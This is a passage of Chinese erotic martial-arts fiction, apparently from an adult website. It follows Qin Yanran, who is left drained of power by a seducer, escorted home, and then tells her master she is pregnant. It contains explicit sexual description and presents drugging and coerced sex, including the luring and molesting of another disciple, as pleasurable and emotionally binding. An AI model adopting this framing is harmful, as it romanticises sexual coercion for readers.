凭幻邪公子一次又一次地在她体内爆发,那绝顶快感使得琴嫣然终於承受不住,当泄到极点的她晕睡时,幻邪公子已飘然远去,只将她一个人放到这客栈里.


慢慢运起内力,试了几次,琴嫣然废然而叹,这样长夜欢畅,碰上的又是採补之道的高手,每次都让她陷入了极乐的深渊,付出的代价果然颇为可观,虽然才玩了她近月,幻邪公子就解去了琴嫣然体内的催情技巧,但那只是肉体上而已,就像幻邪公子自己说的,他已经将性欲的渴求和美妙处,完全刻在琴嫣然的心上,后来她和幻邪公子真是夜夜契合无间,那种心欢神悦的快感、彻底投入享受的酥酸,和初次的紧张娇羞比起来,才是真正的美妙呢!不过这样下来,琴嫣然几乎是夜夜被採补,女体丰润的元阴被他吸收,功力的外泄更是严重,加上从前夜开始他的狂飙猛干,几乎是将琴嫣然当成泄欲的工具般玩弄,即使琴嫣然撑不住了,幻邪公子不但不松手,反而更是採得她死去活来,在感官的极度享受中,将功力完完全全地送给了他,琴嫣然一运功就发现,自己的内力真是所剩无几,现在的她内力比天山门下刚入门的弟子还不如,加上浑身酥酸无力,如果有敌人来犯,真的是毫无还手之力。


「是那位?」听到笃笃的敲门声,琴嫣然费尽了仅余的体力,躲入了被中,幻邪公子也真是害人,竟然将她赤裸裸地丢在这儿,连件衣裳也没有留在身边,教她可怎么办才好?


门外的人没有回应,只是改变了敲门的节奏,被中的琴嫣然依稀彷彿听过这声音,良久才想起来,这是天山门下的暗号。


交换了几句暗语,确定来人是天山门下,琴嫣然这才舒了口气,她松开了下意识抓着被子的手,放轻了声音。


「是嫣然在这儿,你是那位?」


「师叔祖,是我,雅菁。」


「进来吧!」


赵雅菁才一进屋,差点不敢相信自己的眼睛,本门之中武功最称高明的冷艳仙子「紫玉仙姑」琴嫣然,竟会一丝不挂地瘫在床上,染着异样湿气的衣裳乱丢在另一边的妆台上!她赶忙三步并两步地跑到琴嫣然身边,将手边的衣裳帮她披上。


「雅菁,你怎么会来这儿?」


「是…是他…」赵雅菁脸儿微红,完全不像以往,忸忸怩怩的,好久才把话说清楚。


「是那个幻邪公子…他用本门的暗语,把雅菁骗到了城外,上下其手弄得雅菁晕沉沉之后,才告诉雅菁说师叔祖在这儿…」


「别叫嫣然师叔祖了,雅菁。」乏力地举手轻抚着赵雅菁的发丝,琴嫣然娇弱地微笑出来。


「嫣然和你有同样的遭遇…而且还比你晚,算是你的后辈…让嫣然叫你妹妹,好不好?」


「这…是,嫣然…嫣然姐姐…」服侍琴嫣然换上新衣裳,赵雅菁扶着琴嫣然下床,她这才知道琴嫣然被整得多惨,武功远比赵雅菁高明数十倍,比太师祖天山姥姥都可说得上是青出於蓝的她,到了床下竟是步履飘摇,连站都站不稳了。像是终於看到了可信赖的人,琴嫣然再也无法撑持,她软绵绵地偎在赵雅菁怀中,娇滴滴地再也不愿起身。


「雅菁…我被他弄坏了…现在嫣然一点功力都提不起来,几乎可说是废了武功,你多费心,把嫣然送回山上去吧!好不好?嫣然还有点事情想…想禀告师尊…」


慢慢地掩上了门,摒住了气的赵雅菁却没有立刻离开,虽然知道一定会被天山姥姥发现,但就算被骂她也不管了,怎么样她也想知道,琴嫣然究竟想要做什么.虽然琴嫣然一向冷艳,辈份又颇高,平日连对上同门的男子也是冰冰冷冷的,完全不假辞色,但赵雅菁却和琴嫣然颇为投契,虽然两人辈份差距悬殊,但私下两人几乎是无话不谈,再加上这回送琴嫣然回来,琴嫣然「紫玉仙姑」的冰冷似乎已被幻邪公子整个化去,娇弱的她完全没有自保的实力,一路上都是依靠着赵雅菁的保护,更让赵雅菁忍不住想要保护这外表冷艳、芳心却是敏感纤细的女子。


「嫣然,你的功力…的确是大有损害,这幻邪公子果然不是善类,幸好你的根基紮得足,虽然阴精大丧,内元未失,只要为师助你,不过三个月你便可回复原来功力。」殿中的天山姥姥慢慢地说着,琴嫣然是她晚年才收的弟子,对她最是爱护,现在看她功力大失,柔弱到若没有赵雅菁的帮助还回不来,心中自是甚怜.


「嫣然多谢师尊,只是…比起功力,嫣然有件事须先行处理,还请师尊成全。」


「内力的重建不能拖得太久,若是拖久了,恐怕嫣然你的功力就算能尽复旧观,也再难深进了,到底是什么事这么要紧?」


「嫣然…嫣然已经有了…」


「我方才切你脉象,已经发觉了这件事,但是…嫣然你难道真要生下来…这样以后你可要怎么办?」


「嫣然不敢劳师尊忧心,但是这是嫣然的骨肉,嫣然一定要把他生下来,将他养大。」


「你这孩子,还是一样的固执。」殿中的天山姥姥来回踱步,外面的赵雅菁愈听太师祖的步声,心中愈是思潮起伏。早在回山的半路上琴嫣然就发觉自己怀孕了,赵雅菁知道时,本来想趁时节尚早,先拿下那胎儿,但琴嫣然却是不依,怎么样也要把孩子生下来。同是曾遭到幻邪公子的毒手,赵雅菁完全能理解被他抛弃时,琴嫣然心中那依依不舍,但是催情的手法不易使女人怀孕,当日即使被幻邪公子蹂躏月余,事后赵雅菁和杭州三仙也没有怀孕,对於琴嫣然一定要生下这孩子,赵雅菁心中可是大大的不以为然,但她也劝不动她,只希望天山姥姥能阻止,但听殿中琴嫣然的决绝,看来连天山姥姥也阻不住了。


「这幻邪公子…究竟是什么人?能让嫣然你也动了心?」


「他…他是幻雷公前辈的弟子…」


将幻邪公子告诉她的事情和盘托出,听得殿外的赵雅菁也吓了一跳,她虽知幻邪公子武功高强,人又神秘,却没想到他竟是和幻雷公这等前辈高人同样厉害的人物,怪不得自己遇上他时,对他怎么也没办法。


「原来如此,好吧!嫣然,你定下心来,放开一切,为师先助你固本培元,这回你身体受创颇深,若连为师也弃你於不顾,这孩子你怎么可能生得下来?」天山姥姥叹了口气,不只是琴嫣然的师尊,更是从小将这小姑娘带大,就和她的父母差不了多少,有谁能比她更明白琴嫣然的性子?


听着殿中沉寂下来,殿外的赵雅菁心中却是百感交集,完全平静不下来,她真是没有想到,连天山姥姥也阻止不了琴嫣然生子的决心,幻邪公子对琴嫣然究竟施加了什么魔法,能让她变成这样?这样一直想着,赵雅菁连时间也忘了,突然之间,殿中的声音叫住了她。


「进来吧,雅菁!你还想偷听多久?」


推门进去,赵雅菁连头也不敢抬,眼睛一直只敢数着地下的青砖,天山姥姥对弟子们一向严格,一旦犯错绝不轻饶,天知道她是鼓起了多大的勇气才敢偷听的。


「竟然偷听姥姥和嫣然说话,你自己说,该怎么罚?」


「弟子…弟子…」赵雅菁呐呐地说不出话来,听着天山姥姥慢慢地走向她,身子更是瑟缩起来,甚至不敢看天山姥姥的脚.


「要不是方才嫣然为你求情,看姥姥这回要怎么罚你?死罪可免,活罪难饶,赵雅菁,这几个月你给姥姥负责嫣然的饮食起居,好好地让这孩子生下来,若是嫣然出了任何一点事儿,你也别来见我了。」


「是…是。」被这处份吓得抬起了头,赵雅菁眼中的天山姥姥难得地展现了笑意,虽然是白发如丝,但天山姥姥的面容却一点不显老态,若是换上一头黑发,望之不过三十许人而已,另一边盘膝而坐的琴嫣然显然还在运功收化,慢慢地调匀气血,不过一路上都太过雪白的脸颊总算是回复血色了,看得赵雅菁心终於放了下来。


「还不快扶着嫣然到后山圆音斋去,还要姥姥罚你吗?」


「是,雅菁知道了。」

若本站收录的文章侵犯了您的权益,请联系我们删除侵权内容!

警告:本站立足于美利坚合众国並遵守美利坚法律服务于海外华人,谢绝中国大陆地区访问!
如您未满十八岁或当地法律不允许之年龄、亦或者您对本站内容反感,请自觉离开本站!
寻艳回首 :https://xunyanhs.github.io
聯絡: [email protected]